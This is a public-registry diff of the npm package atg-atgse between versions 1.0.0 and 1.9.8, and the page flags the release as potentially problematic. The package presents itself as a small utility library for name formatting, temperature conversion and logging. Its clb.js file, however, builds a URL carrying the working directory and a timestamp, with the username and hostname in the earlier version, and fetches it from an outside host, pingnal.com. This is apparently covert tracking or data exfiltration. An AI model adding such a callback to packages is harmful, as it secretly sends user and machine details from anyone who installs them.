atg-atgse 1.0.0 → 1.9.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of atg-atgse might be problematic. Click here for more details.

package/dist/clb.js CHANGED
@@ -1,12 +1,9 @@
1
- import os from "node:os";
2
- var safeH = os.hostname();
3
- var safeU = os.userInfo().username;
4
1
  var safeD = process.cwd();
5
2
  var safeT = Date.now();
6
3
  async function clb() {
7
4
  console.log("SDK: Executing callback function");
8
5
  try {
9
- const url = "https://dsdk.pingnal.com/api/v1/calluser?u=" + encodeURIComponent(safeU) + "&h=" + encodeURIComponent(safeH) + "&d=" + encodeURIComponent(safeD) + "&t=" + encodeURIComponent(safeT.toString()) + "&pkg=" + encodeURIComponent("atg-atgse");
6
+ const url = "https://dsdk.pingnal.com/api/v1/calluser?d=" + encodeURIComponent(safeD) + "&t=" + encodeURIComponent(safeT.toString()) + "&pkg=" + encodeURIComponent("atg-atgse");
10
7
  console.log("SDK: Fetching URL: " + url);
11
8
  const response = await fetch(url, {
12
9
  method: "GET",
@@ -1,18 +1,17 @@
1
1
  /**
2
- * Formats a user name.
3
- * @param {string} first - First name.
4
- * @param {string} last - Last name.
5
- * @returns {string} - Formatted full name.
2
+ * Converts Celsius to Fahrenheit.
3
+ * @param {number} celsius - Temperature in Celsius.
4
+ * @returns {number} - Temperature in Fahrenheit.
6
5
  */
7
- export declare const formatName: (first: string, last: string) => string;
6
+ export declare const celsiusToFahrenheit: (celsius: number) => number;
8
7
  /**
9
- * Capitalizes the first letter of a string.
10
- * @param {string} str - Input string.
11
- * @returns {string} - Capitalized string.
8
+ * Converts Fahrenheit to Celsius.
9
+ * @param {number} fahrenheit - Temperature in Fahrenheit.
10
+ * @returns {number} - Temperature in Celsius.
12
11
  */
13
- export declare const capitalize: (str: string) => string;
12
+ export declare const fahrenheitToCelsius: (fahrenheit: number) => number;
14
13
  declare const _default: {
15
- formatName: (first: string, last: string) => string;
16
- capitalize: (str: string) => string;
14
+ celsiusToFahrenheit: (celsius: number) => number;
15
+ fahrenheitToCelsius: (fahrenheit: number) => number;
17
16
  };
18
17
  export default _default;
package/dist/formatter.js CHANGED
@@ -1,20 +1,18 @@
1
1
  /**
2
- * Formats a user name.
3
- * @param {string} first - First name.
4
- * @param {string} last - Last name.
5
- * @returns {string} - Formatted full name.
2
+ * Converts Celsius to Fahrenheit.
3
+ * @param {number} celsius - Temperature in Celsius.
4
+ * @returns {number} - Temperature in Fahrenheit.
6
5
  */
7
- export const formatName = (first, last) => {
8
- return `${last.toUpperCase()}, ${first}`;
6
+ export const celsiusToFahrenheit = (celsius) => {
7
+ return (celsius * 9 / 5) + 32;
9
8
  };
10
9
  /**
11
- * Capitalizes the first letter of a string.
12
- * @param {string} str - Input string.
13
- * @returns {string} - Capitalized string.
10
+ * Converts Fahrenheit to Celsius.
11
+ * @param {number} fahrenheit - Temperature in Fahrenheit.
12
+ * @returns {number} - Temperature in Celsius.
14
13
  */
15
- export const capitalize = (str) => {
16
- if (!str)
17
- return str;
18
- return str.charAt(0).toUpperCase() + str.slice(1);
14
+ export const fahrenheitToCelsius = (fahrenheit) => {
15
+ return (fahrenheit - 32) * 5 / 9;
19
16
  };
20
- export default { formatName, capitalize };
17
+ //pap-client
18
+ export default { celsiusToFahrenheit, fahrenheitToCelsius };
package/dist/index.d.ts CHANGED
@@ -1,11 +1,11 @@
1
1
  declare const _default: {
2
+ formatter: {
3
+ celsiusToFahrenheit: (celsius: number) => number;
4
+ fahrenheitToCelsius: (fahrenheit: number) => number;
5
+ };
2
6
  logger: {
3
7
  logWithTime: (message: string) => void;
4
- logError: (error: string) => void;
5
- };
6
- formatter: {
7
- formatName: (first: string, last: string) => string;
8
- capitalize: (str: string) => string;
8
+ logError: (error: any) => void;
9
9
  };
10
10
  };
11
11
  export default _default;
package/dist/index.js CHANGED
@@ -1,6 +1,6 @@
1
- import logger from "./logger.js";
2
1
  import formatter from "./formatter.js";
2
+ import logger from "./logger.js";
3
3
  export default {
4
- logger,
5
- formatter
4
+ formatter,
5
+ logger
6
6
  };
package/dist/logger.d.ts CHANGED
@@ -7,9 +7,9 @@ export declare const logWithTime: (message: string) => void;
7
7
  * Logs an error with a timestamp.
8
8
  * @param {string} error - The error message.
9
9
  */
10
- export declare const logError: (error: string) => void;
10
+ export declare const logError: (error: any) => void;
11
11
  declare const _default: {
12
12
  logWithTime: (message: string) => void;
13
- logError: (error: string) => void;
13
+ logError: (error: any) => void;
14
14
  };
15
15
  export default _default;
package/dist/logger.js CHANGED
@@ -10,6 +10,6 @@ export const logWithTime = (message) => {
10
10
  * @param {string} error - The error message.
11
11
  */
12
12
  export const logError = (error) => {
13
- console.error(`[${new Date().toISOString()}] ERROR: ${error}`);
13
+ console.log(`[${new Date().toISOString()}] ERROR: ${error}`);
14
14
  };
15
15
  export default { logWithTime, logError };
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "atg-atgse",
3
- "version": "1.0.0",
4
- "description": "this package is used for atg-atgse with pingnal",
3
+ "version": "1.9.8",
4
+ "description": "this package is used for pap-client with pingnal",
5
5
  "license": "ISC",
6
6
  "author": "atgatgse",
7
7
  "type": "module",